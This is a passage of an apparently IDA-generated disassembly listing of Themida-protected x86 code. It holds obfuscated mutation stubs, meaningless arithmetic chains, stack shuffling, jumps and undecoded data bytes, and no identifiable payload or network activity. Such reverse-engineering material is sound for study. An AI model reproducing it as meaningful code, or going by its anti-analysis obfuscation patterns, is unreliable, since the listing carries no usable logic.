		sub	edx, 0FFFFFFFFh
		add	edx, 1
		add	edx, 1
		sub	edx, 35A10494h
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4FB79E
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 228434BBh, 609F681h,	6BE93EC6h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FECBF:				; CODE XREF: Themida_:004FEE35j
		mov	ebp, edi
		pop	edi
		sub	ebp, 67CC0EE4h
		jmp	loc_4F8344
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 2
		dd 24348966h, 2474FF66h, 348B6602h, 2C48324h, 24048F66h
		dd 66EE8766h, 14F76655h, 665D6624h, 0C8E9EE31h,	66FFFFDBh
		dd 66276DBEh, 8B66F329h, 0C4812434h, 2,	66C0B70Fh, 6668AB68h
		dd 0E9240489h, 0FFFF6FFAh
; ---------------------------------------------------------------------------


loc_4FED18:				; CODE XREF: Themida_:004FA775j
		pop	dword ptr [esp]
		jmp	loc_5020D4
; ---------------------------------------------------------------------------
		dd 0C580DCB5h, 5E5C032h, 0DDF6C5FEh, 0FFE4A6E9h, 2414F7FFh
		dd 6EEC15Eh, 8CFE9h, 68525700h,	60D23274h, 8324148Bh, 0BD5504C4h
		dd 469E1BADh, 0FF85F2E9h, 4C483FFh, 117668h, 0CBC4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FED62:				; CODE XREF: Themida_:004F8CBFj
		sub	bh, ch
		jmp	loc_4FF66F
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0A3h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FED6F:				; CODE XREF: Themida_:004FD65Cj
		push	eax
		mov	eax, 47146076h
		jmp	loc_4FC581
; ---------------------------------------------------------------------------
		dw 5954h
		dd 0FF9B43E9h, 240489FFh, 8B241CF7h, 0C4812404h, 4, 0F98FE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FED96:				; CODE XREF: Themida_:004F8FE6j
		push	53Ch
		jmp	loc_4F9B66
; ---------------------------------------------------------------------------
		dd 0EF81DFF7h, 4BA6456Ah, 32CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FEDAD:				; CODE XREF: Themida_:0050039Bj
		pop	ebp
		jmp	loc_4FBAFF
; ---------------------------------------------------------------------------
		db 66h
		dd 66241489h, 53E99C50h, 58FFFF6Fh, 0E903EFC0h,	0FFFFBCE3h
; ---------------------------------------------------------------------------


loc_4FEDC8:				; CODE XREF: Themida_:00501163j
		push	0A54h
		mov	[esp], ebp
		mov	ebp, 3E981727h
		mov	edx, ebp
		jmp	loc_5005EB
; ---------------------------------------------------------------------------


loc_4FEDDC:				; CODE XREF: Themida_:004F8D1Fj
		add	ebx, eax
		add	ebx, 51D979E1h
		pop	eax
		and	eax, ebx
		pop	ebx
		jmp	loc_4FA5E0
; ---------------------------------------------------------------------------
		db 0BFh, 0B9h, 69h
		dd 0E7C14862h, 66F78108h, 15532D1h, 34FF5FF8h, 0C4815D24h
		dd 4, 19C4E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FEE0D:				; CODE XREF: Themida_:004F85CAj
		xor	ecx, 315B3758h
		xor	ecx, 22C36D25h
		xor	ecx, 628C29ABh
		push	esi
		push	ecx
		push	ebp
		push	edi
		push	6F30414Fh
		pop	edi
		sub	edi, 239B12AAh
		xor	edi, 7F1C3E96h
		jmp	loc_4FECBF
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 2, 8B240C87h, 68E92424h, 59FFFFFFh, 0E904C483h, 0FFFFE2A9h
		dd 89E9CA31h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FEE5B:				; CODE XREF: Themida_:004FA3C3j
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_500A6C
; ---------------------------------------------------------------------------


loc_4FEE7E:				; CODE XREF: Themida_:004F9433j
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, esi
		pop	esi
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_4F7F5C
; ---------------------------------------------------------------------------
		dd 0E9240489h, 2DB1h, 1EB68h, 241C8900h, 0FF8C41E9h, 2434FFFFh
		dd 0E924348Bh, 15EAh, 48B665Ch,	8B545724h, 4DE9243Ch
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FEECF:				; CODE XREF: Themida_:00500D61j
		sub	ebx, 3D31D669h
		add	ecx, ebx
		pop	ebx
		add	edi, ecx
		jmp	loc_501B4D
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 24440100h, 0E9585804h,	0FFFFB077h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 0C6AAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FEF06:				; CODE XREF: Themida_:004FF95Cj
		push	2B3Ch
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_4F6434
; ---------------------------------------------------------------------------


loc_4FEF21:				; CODE XREF: Themida_:004F949Cj
		pop	ecx
		push	33F5h
		mov	[esp], edx
		push	dword ptr [esp]
		jmp	loc_4FAFB2
; ---------------------------------------------------------------------------
aPuxExhbu	db 'PUX]E•hu',0
		dd 0FE3FE900h, 77FFFFFFh, 19589D1Ch, 0E99C2404h, 0FFFF6DC2h
		dd 815E5456h, 4C6h, 4C68100h, 0E9000000h, 0FFFFC842h, 0D0468B35h
		dd 94D7E901h, 0E952FFFFh, 0FFFFA4ACh, 33240431h, 665C2404h
		dd 2404BB0Fh, 6D8CE99Ch, 0F75AFFFFh, 2E5C1DDh, 0E7E9D5F7h
		dd 59FFFFACh, 31241C33h, 1C33241Ch, 24248B24h, 9C2424D3h
		dd 0FF6D69E9h, 32FF64FFh, 0FFCFA1E9h, 53CA81FFh, 0E912EA57h
		dd 0FFFFFB65h, 0F04991BAh, 81D2F74Dh, 71355FCAh, 5BCA8148h
		dd 812DD20Eh, 996EA0F2h, 0EA81426Ch, 1A0F90EFh,	5DE9D029h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FEFE3:				; CODE XREF: Themida_:00502706j
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_4FDB2A
; ---------------------------------------------------------------------------


loc_4FEFED:				; CODE XREF: Themida_:004F6DB0j
		push	ebp
		mov	ebp, 4
		mov	ecx, ebp
		pop	ebp
		push	edi
		jmp	loc_4FAED1
; ---------------------------------------------------------------------------
		dd 8107E1C1h, 593966C1h, 0B471E940h, 34FFFFFFh,	0C4835824h
		dd 24048F04h, 0F324248Bh, 386203A5h, 3029E9h, 0C3E9AD00h
		dd 5AFFFF81h, 5705E6C1h, 0DC9B14BFh, 5FFE29A2h,	315EF029h
		dd 7FFA68C3h, 1C890000h, 2C685224h, 5A000000h, 215DE9h
		dd 4EC8100h, 89000000h,	4832424h, 34FF0424h, 2434FF24h
		dd 4C48159h, 0E9000000h, 0FFFF92ABh, 81242489h,	42404h
		dd 55590000h, 0FF6BAEBDh, 324FE960h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FF082:				; CODE XREF: Themida_:004F959Dj
		and	ebp, 14BC40B4h
		sub	ebp, 79F24D34h
		add	ebp, 69464D18h
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_501F28
; ---------------------------------------------------------------------------
		dd 50240C8Bh, 2392E954h, 63E90000h, 5DFFFF6Ch, 0E9D18951h
		dd 0FFFF8FA6h, 2474FF57h, 48F5F04h, 24248B24h, 0FF8A66E9h
		dd 55E089FFh, 0FFEEB5E9h, 34D0F6FFh, 0C0D8F6B8h, 0B32C05E0h
		dd 8058C588h, 0C5FE03CDh, 0D5F6C5FEh, 8090F580h, 0EC000EEDh
		dd 4CEB8059h, 0C380E328h, 12E5E94Ch, 0E6C10000h, 8CEE8104h
		dd 530AFF68h, 6081B850h, 98E97D8Ch, 81FFFFA3h, 4C4h, 7F78E900h
		dd 8158FFFFh, 0F915F3E9h, 0A9E5E98Bh, 5866FFFFh, 6608E9C0h
		dd 307BB753h, 0E95B66F9h, 0FFFF7FECh
; ---------------------------------------------------------------------------


loc_4FF13C:				; CODE XREF: Themida_:004F7F73j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	33CBh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		push	4
		pop	eax
		add	ecx, eax
		jmp	loc_4FAF08
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 2108E9h, 7FF1B900h, 0E181401Ch, 7C3F4F8Ah
		dd 4DF2C181h, 0BA5234BFh, 1199133Ah, 0E908EAC1h, 0BFEh
		dd 4C381h, 0EB810000h, 4, 0FFC550E9h, 241489FFh, 0C281E289h
		dd 4, 0EFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FF1C1:				; CODE XREF: Themida_:004FF782j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		push	ecx
		mov	ecx, 1C0E57A5h
		mov	ebx, 2A0870FBh
		xor	ebx, ecx
		pop	ecx
		jmp	loc_4FCE73
; ---------------------------------------------------------------------------
		dw 8359h
		dd 0BA5204C4h, 2B5F35D9h, 875AD309h, 87D1F7CBh,	8E3C1CBh
		dd 0E000C381h, 0BE97F35h, 0E9FFFF6Bh, 0FFFF6B06h, 6E9C159h
		dd 4483E981h, 50E9EE86h, 5D00002Dh, 535BDA01h, 0FFC033E9h
		dd 2BA52FFh, 29000000h,	0FBE95AD1h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FF233:				; CODE XREF: Themida_:004F91EDj
		add	dword ptr [esp+4], 449A7DA3h
		jmp	loc_4FE1F3
; ---------------------------------------------------------------------------
		dd 74B1A4B3h, 0FFAEBAE9h, 6EEC1FFh, 32EE81h, 0F2290100h
		dd 0FF9C51E9h, 80C5FEFFh, 3AE965F5h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FF263:				; CODE XREF: Themida_:004FBF73j
		mov	ebp, 510205DCh
		mov	ebx, 0BE077267h
		add	ebx, ebp
		pop	ebp
		jmp	loc_4F91E1
; ---------------------------------------------------------------------------
		db 0BEh, 0B1h, 58h
		dd 0B8BB28EDh, 1E99A17h, 814B5EF3h, 4ECh, 0E196E900h, 0D8F7FFFFh
		dd 0F87B182Dh, 58C70100h, 4C781h, 0E9570000h, 0FFFFD3B6h
		dd 0BE454805h, 2DE80150h, 50BE4548h, 81242C8Bh,	4C4h, 52950500h
		dd 0D801034Dh, 0FFD591E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FF2C5:				; CODE XREF: Themida_:004F6F64j
		add	edi, 23981C28h
		jmp	loc_4FAA33
; ---------------------------------------------------------------------------
		dd 98234368h, 3BE95A20h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FF2DB:				; CODE XREF: Themida_:004FB7ECj
		and	eax, 19F02638h
		or	eax, 1C320F0Eh
		xor	eax, 631239C3h
		add	eax, 8C321C1Ah
		add	ecx, eax
		pop	eax
		and	edx, ecx
		jmp	loc_4F8796
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 53000000h, 2565E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FF305:				; CODE XREF: Themida_:004F8798j
		mov	ebx, 52104881h
		add	edx, 522C3B1Ch
		sub	esp, 4
		jmp	loc_4FFEF1
; ---------------------------------------------------------------------------
		db 1
		dd 0F396E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FF322:				; CODE XREF: Themida_:004F90A9j
		push	ecx
		mov	ecx, 7DBF25D0h
		inc	ecx
		xor	ecx, 41844A2Fh
		push	edx
		mov	edx, 0
		sub	edx, ecx
		jmp	loc_501888
; ---------------------------------------------------------------------------
		dd 4BD5556h, 0E90CBB37h, 27Bh, 24048B66h, 419868h, 240C8900h
		dd 240C8B54h, 25A8E9h, 9CE9AC00h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FF363:				; CODE XREF: Themida_:004F7A96j
		pop	ebp
		shl	ebp, 8
		jmp	loc_4FABE4
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFD078h
; ---------------------------------------------------------------------------


loc_4FF374:				; CODE XREF: Themida_:004FCE84j
		sub	edi, 0CA9FBE33h
		jmp	loc_4F6133
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0B486E95Fh, 77FFFFFFh, 81BDE938h, 0C601FFFFh, 0E924048Bh
		dd 0FFFFF838h, 280F2CACh, 4EC83D8h, 68241489h, 4FAFh, 0B3241C89h
		dd 0FBBCE9D8h, 25BDFFFFh, 3155C857h, 19E95DE8h,	28FFFFACh
		dd 33B050F3h, 14F65066h, 0C0586624h, 0E8C007E8h, 280D0404h
		dd 24048BC3h, 4C481h, 665A0000h, 64B65251h, 0EDE9F588h
		dd 0C1FFFF98h, 0BF0508E0h, 81687562h, 0EB5C68EAh, 57C20115h
		dd 5C68BB53h, 0DF8915EBh, 83241C8Bh, 2EE904C4h,	0E9FFFF8Ah
		dd 0FFFF68FEh
; ---------------------------------------------------------------------------


loc_4FF414:				; CODE XREF: Themida_:004FE2A5j
		push	esi
		mov	esi, 9AE3B94h
		jmp	loc_500DE4
; ---------------------------------------------------------------------------
		db 81h
		dd 2E1A42EDh, 4EDC139h,	2508C581h, 0EDC168CAh, 0E9DDF703h
		dd 0FFFFF297h, 0E924248Bh, 0FFFF7805h, 5051F000h, 0FF6A51E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FF449:				; CODE XREF: Themida_:004FAD31j
		pop	ebx
		add	ebx, 4
		jmp	loc_4F8DCF
; ---------------------------------------------------------------------------
aBskd		db 'ékD',0
		dw 0E910h
		dd 0FFFF7360h, 4C6815Eh, 0E9000000h, 3DEh
; ---------------------------------------------------------------------------


loc_4FF46C:				; CODE XREF: Themida_:004FA914j
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_4FDE30
; ---------------------------------------------------------------------------
		db 5Ch
		dd 81242489h, 42404h, 34FF0000h, 0C4835F24h, 4C78104h
		dd 52000000h, 2BAh, 55EF8100h, 812E9342h, 2A096CC7h, 81D70173h
		dd 2A096CEFh, 55C78173h, 5A2E9342h, 31243C33h, 3C33243Ch
		dd 4D25C24h, 43E99C24h,	81FFFF68h, 6B4BAFC3h, 81EB0134h
		dd 6B4BAFEBh, 60C38134h, 0E92A0145h, 0FFFFBC61h, 405E089h
		dd 5000000h, 4,	1559E9h, 0F7F28100h, 8127D476h,	24F6EE2h
		dd 7E2C179h, 8B96EA81h,	0D7294553h, 0FFA0E4E9h,	814659FFh
		dd 1E47FEEEh, 8BF0011Eh, 0C4832434h, 68565504h,	4E794B06h
		dd 0EE814E5Eh, 4E794B01h, 15EF589h, 4875DE8h, 24248B24h
		dd 0E9C8AF0Fh, 1BF9h
; ---------------------------------------------------------------------------


loc_4FF548:				; CODE XREF: Themida_:00500D98j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		neg	eax
		add	eax, 2D72EDAh
		mov	esi, eax
		pop	eax
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_4FB9A7
; ---------------------------------------------------------------------------


loc_4FF56F:				; CODE XREF: Themida_:005025F7j
		mov	eax, ebp
		jmp	loc_4FA278
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0D0E5E924h, 665CFFFFh, 9C2424D3h, 0FF9220E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FF589:				; CODE XREF: Themida_:004FEC74j
		push	ebx
		jmp	loc_4F71A2
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF9A63E9h, 91BB53FFh, 0C1316D63h, 0BA5204E3h, 61F432E9h
		dd 1F36C281h, 79E957EFh
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FF5AF:				; CODE XREF: Themida_:004F8351j
		inc	ebx
		sub	ebx, 0DAC0D87h
		jmp	loc_4F719B
; ---------------------------------------------------------------------------
		db 31h
		dd 3CE95AD1h, 31FFFFD0h, 5D04246Ch, 4F2815Ah, 5E0CBB37h
		dd 6EB85052h, 0BA506224h, 736F80B9h, 4258C229h,	0FFFFC281h
		dd 0D2F7FFFFh, 0B09EF281h, 48E9C0E8h, 8B000011h, 0A1E92404h
		dd 0C1FFFF97h, 0EA8105E2h, 63EEC61Bh, 0E95AD709h, 0FFFFEB17h
		dd 0D3F1EE81h, 0F501707Eh, 2555E95Eh, 3DB00000h, 52E9C120h
		dd 87FFFFE1h, 248B242Ch, 242C8924h, 0BF575D54h,	4, 525FFD01h
		dd 0FFAFD9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FF63D:				; CODE XREF: Themida_:004FCBAEj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_4F6FA9
; ---------------------------------------------------------------------------
		dd 592434FFh, 48B5450h,	0F6F7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FF65E:				; CODE XREF: Themida_:004FB326j
		add	esi, 4
		add	esi, 4
		jmp	loc_4FB6D8
; ---------------------------------------------------------------------------


loc_4FF66F:				; CODE XREF: Themida_:004FED64j
		pop	cx
		xor	dl, bh
		pop	ebx
		xor	al, dl
		mov	edx, [esp]
		push	5FF2h
		jmp	loc_4FC733
; ---------------------------------------------------------------------------
		db 87h
		dd 0F0E92434h, 81FFFF76h, 670192CBh, 89EB8126h,	0C1213F27h
		dd 0C38103EBh, 0FE49F77Eh, 0E95BDF01h, 0FFFF6D01h
; ---------------------------------------------------------------------------


loc_4FF6A8:				; CODE XREF: Themida_:00500F82j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, 1FF12867h
		push	712Bh
		mov	[esp], edx
		push	edi
		jmp	loc_4F8EE5
; ---------------------------------------------------------------------------


loc_4FF6C7:				; CODE XREF: Themida_:004FCB9Cj
		mov	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp]
		jmp	loc_4F879D
; ---------------------------------------------------------------------------


loc_4FF6DB:				; CODE XREF: Themida_:004FBF2Bj
		pop	edx
		add	ah, 60h
		not	ah
		xor	ah, 0C7h
		sub	bl, ah
		jmp	loc_4FE0D3
; ---------------------------------------------------------------------------


loc_4FF6EB:				; CODE XREF: Themida_:00501E62j
		not	edx
		xchg	edx, [esp]
		mov	eax, [esp]
		push	ecx
		jmp	loc_4FB939
; ---------------------------------------------------------------------------


loc_4FF6F9:				; CODE XREF: Themida_:004FD7A8j
		shr	eax, 7
		inc	eax
		push	ebx
		mov	ebx, 0CB7866E6h
		jmp	loc_4F75CD
; ---------------------------------------------------------------------------
		dd 4A6EB951h, 4149595Ah, 7CD9E181h, 0E9C1561Fh,	0A7D7E908h
		dd 489FFFFh, 4B824h, 53520000h,	0B574C3BBh, 81DBF723h
		dd 909BB0F3h, 5BDA89A1h, 0FF893DE9h, 2EB81FFh, 87000000h
		dd 665C241Ch, 66240C89h, 66C8B60Fh, 0BBE99C51h,	81FFFF65h
		dd 4B1E9EEBh, 9CB85019h, 401DA66Dh, 0FFE3D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FF769:				; CODE XREF: Themida_:004FB2CEj
		push	edx
		jmp	loc_4FE3BF
; ---------------------------------------------------------------------------


loc_4FF76F:				; CODE XREF: Themida_:004FDD2Cj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_4FF1C1
; ---------------------------------------------------------------------------
		db 50h
		dd 7BE9D888h, 1FFFFCCh,	0BD5559C8h, 1F1835E1h, 0B1E6E952h
		dd 0F741FFFFh, 59E957D9h, 21FFFF75h, 0EA8159CAh, 5D242BF4h
		dd 0FF8B70E9h, 4EC83FFh, 0E9241C89h, 0FFFF9F59h
; ---------------------------------------------------------------------------


loc_4FF7C0:				; CODE XREF: Themida_:004FBE32j
		pop	esi
		push	7391h
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_4FE626
; ---------------------------------------------------------------------------


loc_4FF7D5:				; CODE XREF: Themida_:004F7505j
		xor	[esp], ebp
		jmp	loc_4F7388
; ---------------------------------------------------------------------------


loc_4FF7DD:				; CODE XREF: Themida_:004F88FBj
		push	esi
		push	ecx
		pop	esi
		pop	ecx
		or	esi, 242B7Eh
		xor	esi, 0AC75F9FEh
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_4FF9D1
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 5Bh
		dd 0E96BD404h, 0FFFF9081h, 8104C483h, 4ECh, 241C8900h
		dd 2E87E9h, 9A685600h, 5E09AF61h, 0FF735EE9h, 0C8B66FFh
		dd 0EBC7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FF836:				; CODE XREF: Themida_:00500DF5j
		push	ecx
		mov	ecx, 31BA70E1h
		jmp	loc_5014AE
; ---------------------------------------------------------------------------
		db 66h,	89h, 4
		dd 64C8E924h, 0EE83FFFFh, 95BAE904h, 8B66FFFFh,	0E9532404h
		dd 0FFFFE32Dh, 81E38953h, 4C3h,	2BE5600h, 1000000h, 1C875EF3h
		dd 0D0005C24h, 0FFE10CE9h, 0F8E958FFh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FF87F:				; CODE XREF: Themida_:004FCBCAj
		mov	[esp], ebx
		push	esi
		push	193E3881h
		pop	esi
		not	esi
		neg	esi
		and	esi, 806072Bh
		sub	esi, 805FFFEh
		mov	ebx, esi
		pop	esi
		sub	eax, ebx
		pop	ebx
		jmp	loc_500745
; ---------------------------------------------------------------------------
aXs		db 'XéÓ"',0
		align 2
		dw 585Fh
		dd 0D7F7E7D1h, 9610EF81h, 0FE0194B9h, 0FFBD555Fh, 0E9FFFFFFh
		dd 0FFFFD41Ch, 5866C300h, 0FFDCC3E9h, 242C8BFFh, 0E904C483h
		dd 2709h, 58241C31h, 2474FF50h,	7C41E904h, 0CFBBFFFFh
		dd 8106CB69h, 0D62E12EBh, 5BD989ABh, 695DEE81h,	0CDE9043Eh
		dd 81FFFF68h, 0D59D6AEFh, 0ABF5E96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FF90A:				; CODE XREF: Themida_:004FAD2Bj
		sub	esi, ebx
		pop	ebx
		mov	edx, esi
		jmp	loc_500C9D
; ---------------------------------------------------------------------------
aPhP		db 'PhêpÇ',0
		dw 5658h
		dd 545648BEh, 0CEC4E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FF926:				; CODE XREF: Themida_:004F7CE7j
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_50069C
; ---------------------------------------------------------------------------


loc_4FF93A:				; CODE XREF: Themida_:004F73BBj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0ABB2664h
		xor	ecx, 4BDB2AA2h
		shr	ecx, 4
		shl	ecx, 4
		sub	ecx, 3256947Dh
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_4FEF06
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFC6B3h, 8B1C77FFh, 89502404h, 405E0h
		dd 0B1E90000h, 0C0FFFFC5h, 0C1FE02E1h, 2414F651h, 0F8C98059h
		dd 0FFC3C8E9h, 0F2F781FFh, 554CB30Ch, 6544BCBDh, 172AE932h
		dd 88590000h, 8B01877Ch, 52E9241Ch, 66FFFF82h, 9C240401h
		dd 0FF6359E9h, 0B4B951FFh, 0E9040956h, 0FFFF77AEh, 6647742Dh
		dd 58C229F0h, 19DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FF9D1:				; CODE XREF: Themida_:004FF800j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_4F9061
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF6326h, 945CBF57h, 0C2819D21h, 1C1C83h, 0EA81FA29h
		dd 1C1C83h, 0FFA5CBE9h,	3BCF68FFh, 34890000h, 53E68924h
		dd 4BBh, 0A387E900h, 0CC80FFFFh, 0BE33E95Fh, 48FFFFFh
		dd 0F665C24h, 9C2404ABh, 1066E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FFA31:				; CODE XREF: Themida_:004F9870j
		pop	ecx
		jmp	loc_4FBB07
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815A2434h, 4C4h, 8CF6E900h, 8B66FFFFh, 5452240Ch, 6D6E9h
		dd 20432C00h, 0B75358C6h, 0FEC7FE8Ch, 0C0CFFECFh, 0CF8003EFh
		dd 0B1516662h, 85E9E904h, 0C33FFFFh, 24248B24h,	0B60F66h
		dd 1B4F6866h, 24048966h, 0FF628DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FFA85:				; CODE XREF: Themida_:004FDBE2j
		inc	eax
		sub	eax, 74C561F3h
		jmp	loc_4FEC85
; ---------------------------------------------------------------------------
		dd 0B316E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FFA96:				; CODE XREF: Themida_:004F79EEj
		sub	edi, 0F72B9F7Bh
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	ebp, 2BAB4348h
		jmp	loc_4F6215
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C4h
		dd 4, 0FF673FE9h, 5157BDFFh, 0E9560415h, 0FFFF994Bh, 8124148Bh
		dd 4C4h, 0D2B85000h, 314FC102h,	17EEE9C2h, 0BE560000h
		dd 0CD238FFh, 0E92C681h, 0EEC13EDCh, 50F68103h,	15BE0FCh
		dd 0D0FE9F2h, 248B0000h, 43C58124h, 891B388Eh, 0F0315DEEh
		dd 5024348Bh, 4055854h,	5000000h, 4, 0E9240487h, 0FFFFA279h
		dd 24048B66h, 0C8B5451h, 7BD1E924h, 148BFFFFh, 160E924h
		dd 0C4810000h, 4, 0FFA650E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FFB41:				; CODE XREF: Themida_:004FD62Ej
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_501CAA
; ---------------------------------------------------------------------------
		dw 0D668h
		dd 89000022h, 0ADE9240Ch, 0C000000Fh, 0C38006EBh, 0A74E9C9h
		dd 0D6BD0000h, 81377332h, 0D866B7CDh, 0C02FE962h, 575CFFFFh
		dd 2BFh, 0E9F90100h, 1472h, 33243431h, 535C2434h, 0E9D18851h
		dd 0FFFF6CB8h
; ---------------------------------------------------------------------------


loc_4FFB90:				; CODE XREF: Themida_:004F93F4j
		mov	ebx, 0
		sub	ebx, 4B0D3BCAh
		add	ebx, eax
		push	edi
		mov	edi, 4B0D3BCAh
		add	ebx, 19594078h
		add	ebx, edi
		push	ebp
		mov	ebp, 6ABB06B1h
		inc	ebp
		push	edi
		mov	edi, 5161C63Ah
		sub	ebp, edi
		pop	edi
		sub	ebx, ebp
		jmp	loc_4FDA0C
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 12AB2B40h, 3698EA81h, 0C28160B6h, 61EE5DA7h,	4B5AD331h
		dd 50AFF381h, 0EB811911h, 533FD903h, 0E95BDD01h, 0FFFF95E7h
; ---------------------------------------------------------------------------


loc_4FFBEC:				; CODE XREF: Themida_:005021C8j
		add	ecx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_4FD326
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9562414h, 195Bh, 0C9F28142h, 68343CEEh, 0CB2h, 0FF86C3E9h
		dd 4BFFFh, 0F9290000h, 240C875Fh, 8924248Bh, 0E3E92404h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FFC2F:				; CODE XREF: Themida_:004FE62Ej
		push	esi
		jmp	loc_4FBE37
; ---------------------------------------------------------------------------
aPG		db ' Ú[P´g',0
		dd 6EE958E2h, 0FEFFFF67h, 3FC380CBh, 66E9562Ch,	8BFFFFB6h
		dd 0FEE92414h, 87FFFFE7h, 575C241Ch, 9C94E953h,	0C33FFFFh
		dd 24248B24h, 0C89E951h, 0EA810000h, 37D34332h,	0FFAA53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FFC79:				; CODE XREF: Themida_:004FA755j
		add	edx, 0BCC0C9FDh
		mov	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		jmp	loc_4F6263
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2A2DD029h, 8B1C1A13h, 89532414h, 4C381E3h, 81000000h
		dd 4C3h, 0FF9DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FFCBA:				; CODE XREF: Themida_:004F7B4Dj
		add	ebp, edi
		sub	ebp, 39CF54EBh
		pop	edi
